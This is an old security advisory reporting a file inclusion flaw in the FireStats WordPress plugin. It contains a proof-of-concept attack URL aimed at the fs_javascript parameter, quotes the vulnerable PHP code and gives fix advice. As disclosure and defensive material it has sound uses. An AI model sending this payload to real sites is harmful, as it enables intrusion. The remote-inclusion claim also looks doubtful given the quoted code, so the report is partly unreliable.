WordPress FireStats 1.6.1 Remote File Inclusion

`[»]===============================================================================================================[_][-][X]  
[»] [»]  
[»] WordPress Plugin FireStats <= 1.6.1-stable (fs_javascript) RFI Vulnerability [»]  
[»] [»]  
[»] ======= ------d-------m------ ==== ==== [»]  
[»] || = | |(o o)| | || || || [»]  
[»] || = ||(~)|| || || [»]  
[»] ======= /|\ || || [»]  
[»]=====================================================================================================================[»]  
[»] Author : darkmasking [»]  
[»] Date : June, 13th 2009 [»]  
[»] Contact : darkmasking[at]gmail.com [»]  
[»] Critical Level : Dangerous *red* [»]  
[»]---------------------------------------------------------------------------------------------------------------------[»]  
[»] Affected software description : [»]  
[»] Software : FireStats Version 1.6.1-stable [FireStats is a web statistics system] [»]  
[»] Vendor : http://firestats.cc/ [»]  
[»] Price : $25.00 ( commercial usage ) [»]  
[»]=====================================================================================================================[»]  
[»] [»]  
[»] [~] RFI : [»]  
[»] [»]  
[»] http://www.TARGET.com/[path]/wp-content/plugins/firestats/firestats-wordpress.php?fs_javascript=[darkc0de] [»]  
[»] [»]  
[»]---------------------------------------------------------------------------------------------------------------------[»]  
[»] [»]  
[»] [~] Vuln : firestats-wordpress.php :Line 36 [»]  
[»] [»]  
[»] $path = fs_get_firestats_path(); [»]  
[»] $file = $_GET['fs_javascript']; [»]  
[»] unset($_GET['fs_javascript']); [»]  
[»] if (strpos($file,"..") !== false) die(".. is not allowed in fs_javascript"); [»]  
[»] require_once("$path/$file"); [»]  
[»] [»]  
[»]---------------------------------------------------------------------------------------------------------------------[»]  
[»] [»]  
[»] [~] Vulnerability description : [»]  
[»] [»]  
[»] This script is possibly vulnerable to file inclusion attacks. [»]  
[»] [»]  
[»] It seems that this script includes a file which name is determined using user-supplied data. [»]  
[»] This data is not properly validated before being passed to the include function. [»]   
[»] [»]  
[»]---------------------------------------------------------------------------------------------------------------------[»]  
[»] [»]  
[»] [~] How to fix this vulnerability : [»]  
[»] [»]  
[»] Edit the source code to ensure that input is properly validated. Where is possible, [»]  
[»] it is recommended to make a list of accepted filenames and restrict the input to that list. [»]  
[»] [»]  
[»] For PHP, the option allow_url_fopen would normally allow a programmer to open, [»]  
[»] include or otherwise use a remote file using a URL rather than a local file path. [»]  
[»] It is recommended to disable this option from php.ini. [»]  
[»] [»]  
[»]---------------------------------------------------------------------------------------------------------------------[»]  
[»] [»]  
[»] [~] Greetz : [»]  
[»] [»]  
[»] Sorry bro lom ada teman jadi tuk diri sendiri aja! [»]  
[»] [»]  
[»] [»]  
[»]=====================================================================================================================[»]  
  
  
`